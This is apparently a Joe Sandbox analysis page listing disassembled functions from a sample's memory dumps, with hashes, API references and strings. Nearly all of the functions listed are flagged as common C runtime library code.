Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 10e9564a0b4027a57edc560e53cba7112c5efa60e4bbece3838f224f07a66ebf
Instruction ID: 31f52fa3fd1e05d359dd187bfef47c2ed2acfdc532e987a291c8c8a8d6d81027
Opcode Fuzzy Hash: 10e9564a0b4027a57edc560e53cba7112c5efa60e4bbece3838f224f07a66ebf
Instruction Fuzzy Hash: FD01F5B618D711AE9A1C36B47C895672BA4DB427747208269F210412F0EB2D8D01D31E

Uniqueness

Uniqueness Score: -1.00%

Function 00405E69 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00405E91

Part of subcall function 004031B7: __getptd.LIBCMT ref: 004031C5
Part of subcall function 004031B7: __getptd.LIBCMT ref: 004031D3

__getptd.LIBCMT ref: 00405E9B

Part of subcall function 00406A89: __getptd_noexit.LIBCMT ref: 00406A8C
Part of subcall function 00406A89: __amsg_exit.LIBCMT ref: 00406A99

__getptd.LIBCMT ref: 00405EA9
__getptd.LIBCMT ref: 00405EB7
__getptd.LIBCMT ref: 00405EC2
_CallCatchBlock2.LIBCMT ref: 00405EE8

Part of subcall function 0040325C: __CallSettingFrame@12.LIBCMT ref: 004032A8

Part of subcall function 00405F8F: __getptd.LIBCMT ref: 00405F9E
Part of subcall function 00405F8F: __getptd.LIBCMT ref: 00405FAC

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: cd742f9cef038d2ce2648b385c32f648b365461d53bbf311ea6029e5c0b5f2e8
Instruction ID: d4cd85c21c68b3bebddf79c238013c7c60d34e4f67c6f010b4e232075ece57da
Opcode Fuzzy Hash: cd742f9cef038d2ce2648b385c32f648b365461d53bbf311ea6029e5c0b5f2e8
Instruction Fuzzy Hash: 9511C6B1D00209DFDB00EFA5D545AAE7BB0FF08318F11806EF855B7291DB389A159F58

Uniqueness

Uniqueness Score: -1.00%

Function 00785885 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00785955
_free.LIBCMT ref: 0078597E
SetEndOfFile.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,007A2CD8,0000000C,00785867,00000000,?), ref: 007859B0
GetLastError.KERNEL32(?,?,?,?,007A2CD8,0000000C,00785867,00000000,?), ref: 007859CC

Strings

gXx, xrefs: 007858C0, 0078590B

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID: gXx
API String ID: 1547350101-2657430245
Opcode ID: 927b2bfeb5c1351491240fb3825caea8bf4c46949f666ff2614a333fbc7e8519
Instruction ID: 613e879245ae4ceb8ef361a64aa9b1daf5f16aadb36daa369cd249cb50f7ba24
Opcode Fuzzy Hash: 927b2bfeb5c1351491240fb3825caea8bf4c46949f666ff2614a333fbc7e8519
Instruction Fuzzy Hash: B241D4369C0A05EBDB21BFB8CC0EB9D37A9AF44370F250155F414E71A1EA3CE9508761

Uniqueness

Uniqueness Score: -1.00%

Function 004049A3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004049BD

Part of subcall function 00406FD9: __FF_MSGBANNER.LIBCMT ref: 00406FFC
Part of subcall function 00406FD9: __NMSG_WRITE.LIBCMT ref: 00407003
Part of subcall function 00406FD9: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,0040AA4A,?,00000001,?,?,00409EBA,00000018,00416368,0000000C,00409F4B), ref: 00407050

std::bad_alloc::bad_alloc.LIBCMT ref: 004049E0

Part of subcall function 00404988: std::exception::exception.LIBCMT ref: 00404994

std::bad_exception::bad_exception.LIBCMTD ref: 004049F4
__CxxThrowException@8.LIBCMT ref: 00404A02

Strings

3*@, xrefs: 004049F1, 004049FE, 00404A01

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID: 3*@
API String ID: 1411284514-3235581795
Opcode ID: 3b8937198cc21d74cd324722a60f4be606581c1db9a20706d1f0ce9fdc906c4a
Instruction ID: 8f80ae406d631d2c0f51aa3ee59e4a6ac70ab17a01cdc4bfdd14d38ef5ff1131
Opcode Fuzzy Hash: 3b8937198cc21d74cd324722a60f4be606581c1db9a20706d1f0ce9fdc906c4a
Instruction Fuzzy Hash: E3F0E2B151410562CB047732EC0798B3A694B9031CB20007FFE02750D2CF7CEA4586AD

Uniqueness

Uniqueness Score: -1.00%

Function 00402CD9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00402CE0
std::bad_exception::bad_exception.LIBCMT ref: 00402CFD

Part of subcall function 00402C52: std::runtime_error::runtime_error.LIBCPMT ref: 00402C5D

__CxxThrowException@8.LIBCMT ref: 00402D0B

Part of subcall function 004032BC: RaiseException.KERNEL32(?,?,00404A07,?,?,?,?,?,00404A07,3*@,00415F14,00497088,00402A33,00000000,00000000), ref: 004032FE

Strings

invalid string position, xrefs: 00402CE5
D+%@, xrefs: 00402D13

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: ExceptionException@8H_prolog3RaiseThrowstd::bad_exception::bad_exceptionstd::runtime_error::runtime_error
String ID: D+%@$invalid string position
API String ID: 3299838469-1360760339
Opcode ID: 94d6e9606abfb60d119afa53afb3f0d1a38000a207cab8ef5f8b858371466a53
Instruction ID: c06d58fbf00ac13f2fd9fd3648d4b4f218d025f9c56e0754070eea98d32a453c
Opcode Fuzzy Hash: 94d6e9606abfb60d119afa53afb3f0d1a38000a207cab8ef5f8b858371466a53
Instruction Fuzzy Hash: 59F05E71610228A7DB04BAD6CC06FDEB76C9B54724F20017FB6107A1D2CAF8AA4586A8

Uniqueness

Uniqueness Score: -1.00%

Function 0040969F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004096AB

Part of subcall function 00406A89: __getptd_noexit.LIBCMT ref: 00406A8C
Part of subcall function 00406A89: __amsg_exit.LIBCMT ref: 00406A99

__getptd.LIBCMT ref: 004096C2
__amsg_exit.LIBCMT ref: 004096D0
__lock.LIBCMT ref: 004096E0

Strings

iI, xrefs: 004096ED

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: iI
API String ID: 3521780317-2083763752
Opcode ID: c6788366de7d2d591f61ae5da45b098e354dc736bbc92ef245481fe49938cd51
Instruction ID: a726bbdea0da78bf70d5f6983dc0a806703f33c3b1e0ed87b8c1eed539b62657
Opcode Fuzzy Hash: c6788366de7d2d591f61ae5da45b098e354dc736bbc92ef245481fe49938cd51
Instruction Fuzzy Hash: A0F06271A15304DBD621BBB68402B5972A06B00718F16453FE450772D3CB3C9D01CE5E

Uniqueness

Uniqueness Score: -1.00%

Function 00785588 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00785612,?,?,007856B2,?,?,?), ref: 0078559D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 007855B0
FreeLibrary.KERNEL32(00000000,?,?,00785612,?,?,007856B2,?,?,?), ref: 007855D3

Strings

mscoree.dll, xrefs: 00785596
CorExitProcess, xrefs: 007855A8

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 92c01f76e9b1a12e250aa15e4ba326e31274d7e61c124bd9a7c3056f84117119
Instruction ID: d8885109e40b84fabe57e4768a0349d1472e267c5374788690393c4f965359ad
Opcode Fuzzy Hash: 92c01f76e9b1a12e250aa15e4ba326e31274d7e61c124bd9a7c3056f84117119
Instruction Fuzzy Hash: FDF08231541618FBDF119B54DC09B9D7B76EB84756F118060B401A10A0DB7C9F11DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00405BB8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00405BD2

Part of subcall function 00406A89: __getptd_noexit.LIBCMT ref: 00406A8C
Part of subcall function 00406A89: __amsg_exit.LIBCMT ref: 00406A99

__getptd.LIBCMT ref: 00405BE3
__getptd.LIBCMT ref: 00405BF1

Strings

csm, xrefs: 00405BCB
MOC, xrefs: 00405BC4

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: 6a69b8f5c8b18aff45b5a37b3d7ff8c6bdade7de566d6e1b2d04b70bc962e377
Instruction ID: e1afbfa2fa5311a61dadd69b148c4dd76be4ac9bb7b85bed1c164a5418d6112a
Opcode Fuzzy Hash: 6a69b8f5c8b18aff45b5a37b3d7ff8c6bdade7de566d6e1b2d04b70bc962e377
Instruction Fuzzy Hash: 9DE048312001048FC710B7A9C04576733A4EB45318F1644BBE40DEB3A3D77CF8505E46

Uniqueness

Uniqueness Score: -1.00%

Function 00408F33 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00408F3F

Part of subcall function 00406A89: __getptd_noexit.LIBCMT ref: 00406A8C
Part of subcall function 00406A89: __amsg_exit.LIBCMT ref: 00406A99

__amsg_exit.LIBCMT ref: 00408F5F
__lock.LIBCMT ref: 00408F6F
InterlockedDecrement.KERNEL32(?), ref: 00408F8C
InterlockedIncrement.KERNEL32(00911660), ref: 00408FB7

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: b04d25a764d080f7236b1dc4f0e1c2b4fd2dc88a45f8faa3e7c04da982968914
Instruction ID: da0909ffd7dfe187ffdaab9e043b2a1c823ff4900196a6b35fb39929db00c529
Opcode Fuzzy Hash: b04d25a764d080f7236b1dc4f0e1c2b4fd2dc88a45f8faa3e7c04da982968914
Instruction Fuzzy Hash: 33018E71A016129BDA21BB759906B5A7BA0AB08B24F12413FE850772D1CB3CA951CFDE

Uniqueness

Uniqueness Score: -1.00%

Function 007901D3 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007901EB

Part of subcall function 0078D342: RtlFreeHeap.NTDLL(00000000,00000000,?,0078773D,?), ref: 0078D358
Part of subcall function 0078D342: GetLastError.KERNEL32(?,?,0078773D,?), ref: 0078D36A

_free.LIBCMT ref: 007901FD
_free.LIBCMT ref: 0079020F
_free.LIBCMT ref: 00790221
_free.LIBCMT ref: 00790233

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a50b7fefbd6166a2945d1352b9c7e3229b618452a85adea7a1cab5b70c48fe50
Instruction ID: 1a9613238c4024bf3d4c49ecc70235845b614b696a3419d317cc64050f68f327
Opcode Fuzzy Hash: a50b7fefbd6166a2945d1352b9c7e3229b618452a85adea7a1cab5b70c48fe50
Instruction Fuzzy Hash: 0AF01832598610EFC964EB58F88DD2673D9BB857107548805F044F7591CB3CFC808795

Uniqueness

Uniqueness Score: -1.00%

Function 0078F6C4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0078F90F: GetConsoleOutputCP.KERNEL32(?,00000016,?), ref: 0078F957

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000016,00000016,813783A3,?,007876F0,?,007A2DB8,0000000C,00787430,?), ref: 0078F80A
GetLastError.KERNEL32(?,007876F0,?,007A2DB8,0000000C,00787430,?,00000016), ref: 0078F814
__dosmaperr.LIBCMT ref: 0078F853

Strings

0tx, xrefs: 0078F6C6

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite__dosmaperr
String ID: 0tx
API String ID: 910155933-3467082110
Opcode ID: 9485f4bc1d08da49c42e90b1a4353c0d211bd1325419631a3b3c3e2e4c55d794
Instruction ID: f49fddb7b70f783106d85322f52a4fd77631184419a35173e9a04a9c534b6260
Opcode Fuzzy Hash: 9485f4bc1d08da49c42e90b1a4353c0d211bd1325419631a3b3c3e2e4c55d794
Instruction Fuzzy Hash: 0A51A271A80109EBEF11BFA8CC49BEEBBB5EF46314F540065E500A7191D77DAA41C761

Uniqueness

Uniqueness Score: -1.00%

Function 00785BD6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\5828.exe, xrefs: 00785C6E, 00785C75, 00785CA9

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\5828.exe
API String ID: 0-3854037008
Opcode ID: 9f0398e8e00db6e87ecc7cb1ba54b8a7e54d4e6a6da267eb4e4b2dc20aecfe88
Instruction ID: 3d6268e6e1af2d3fdcf5b49788ee22f3120ce8964f6a91bddcf2bdc8c3798ade
Opcode Fuzzy Hash: 9f0398e8e00db6e87ecc7cb1ba54b8a7e54d4e6a6da267eb4e4b2dc20aecfe88
Instruction Fuzzy Hash: 86419671A80719EFCB21EF99DC89DAEBBF8EBC5310B104166E901D7251D7789E40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0079746A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00797370,?,?,00000000,00000000,00000000,?), ref: 0079748F
CatchIt.LIBVCRUNTIME ref: 00797575

Strings

RCC, xrefs: 007974A9
MOC, xrefs: 007974A1

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 77b71eee5854e9dbe709e7b60b564603cfd114043207358409bc270c5b185dcb
Instruction ID: 1ec1720e8b24159b2ac0369266f610c82d7dcf5dd35f18b29e097133d033a23e
Opcode Fuzzy Hash: 77b71eee5854e9dbe709e7b60b564603cfd114043207358409bc270c5b185dcb
Instruction Fuzzy Hash: CD416E71900109EFCF19DF98DC85AEE7BB5FF48304F198099F90467262E339AA61DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00406216 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00406229

Part of subcall function 00406184: ___BuildCatchObjectHelper.LIBCMT ref: 004061BA

_UnwindNestedFrames.LIBCMT ref: 00406240
___FrameUnwindToState.LIBCMT ref: 0040624E

Strings

csm, xrefs: 00406225, 0040623A, 0040624D, 0040626B, 0040627B

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: 05b67e2245c10d14203b147b554bc30bcc828a46ba6760870895824985e537d1
Instruction ID: c835d32fa89d85fd57fe1cb7a814eb8d4f3f89f758d3a1d455fb725e0c410a5c
Opcode Fuzzy Hash: 05b67e2245c10d14203b147b554bc30bcc828a46ba6760870895824985e537d1
Instruction Fuzzy Hash: 5F012831001109BBDF126F52CC45EAB7E6AEF04344F04402AFD09242A1DB7A99B1EBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405A52 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00402E1F), ref: 00405A57
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00405A67

Strings

KERNEL32, xrefs: 00405A52
IsProcessorFeaturePresent, xrefs: 00405A61

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 269e335abb7c16053db76bf8bf51b0466107fc3adb9c5decc6ceebdf76af7d52
Instruction ID: 703e43dc41f3b9b4e073a207b93064a9d1284d72c6c9b9ccd4106b100a3591d5
Opcode Fuzzy Hash: 269e335abb7c16053db76bf8bf51b0466107fc3adb9c5decc6ceebdf76af7d52
Instruction Fuzzy Hash: 3BF01230B00A0DD2DB105FA5BC4A7AF7AB8FBC4742F9245A195A5B00C4DF3481759A5A

Uniqueness

Uniqueness Score: -1.00%

Function 00409661 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

___addlocaleref.LIBCMT ref: 00409673

Part of subcall function 00409539: InterlockedIncrement.KERNEL32(?), ref: 0040954B
Part of subcall function 00409539: InterlockedIncrement.KERNEL32(?), ref: 00409558
Part of subcall function 00409539: InterlockedIncrement.KERNEL32(?), ref: 00409565
Part of subcall function 00409539: InterlockedIncrement.KERNEL32(?), ref: 00409572
Part of subcall function 00409539: InterlockedIncrement.KERNEL32(?), ref: 0040957F
Part of subcall function 00409539: InterlockedIncrement.KERNEL32(?), ref: 0040959B
Part of subcall function 00409539: InterlockedIncrement.KERNEL32(00000000), ref: 004095AB
Part of subcall function 00409539: InterlockedIncrement.KERNEL32(?), ref: 004095C1

___removelocaleref.LIBCMT ref: 0040967E

Part of subcall function 004095C8: InterlockedDecrement.KERNEL32(?), ref: 004095E2
Part of subcall function 004095C8: InterlockedDecrement.KERNEL32(?), ref: 004095EF
Part of subcall function 004095C8: InterlockedDecrement.KERNEL32(?), ref: 004095FC
Part of subcall function 004095C8: InterlockedDecrement.KERNEL32(?), ref: 00409609
Part of subcall function 004095C8: InterlockedDecrement.KERNEL32(?), ref: 00409616
Part of subcall function 004095C8: InterlockedDecrement.KERNEL32(?), ref: 00409632
Part of subcall function 004095C8: InterlockedDecrement.KERNEL32(00000000), ref: 00409642
Part of subcall function 004095C8: InterlockedDecrement.KERNEL32(?), ref: 00409658

___freetlocinfo.LIBCMT ref: 00409692

Part of subcall function 004093F0: ___free_lconv_mon.LIBCMT ref: 00409436
Part of subcall function 004093F0: ___free_lconv_num.LIBCMT ref: 00409457
Part of subcall function 004093F0: ___free_lc_time.LIBCMT ref: 004094DC

Strings

iI, xrefs: 00409689

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: Interlocked$DecrementIncrement$___addlocaleref___free_lc_time___free_lconv_mon___free_lconv_num___freetlocinfo___removelocaleref
String ID: iI
API String ID: 467427115-2083763752
Opcode ID: 86e472091ed8b76f4b6dcc90d7ed0dd281926418ee9c440bf8f383cc4e2fd437
Instruction ID: 014eaee84008a99d38e9afad987053124bb30bc97ea80d8f2bde256c8f9da66d
Opcode Fuzzy Hash: 86e472091ed8b76f4b6dcc90d7ed0dd281926418ee9c440bf8f383cc4e2fd437
Instruction Fuzzy Hash: 29E04FA3502A2155CB362A1E68002EB929C4F93711B1A097FF848B72C7DB3E4C80859D

Uniqueness

Uniqueness Score: -1.00%

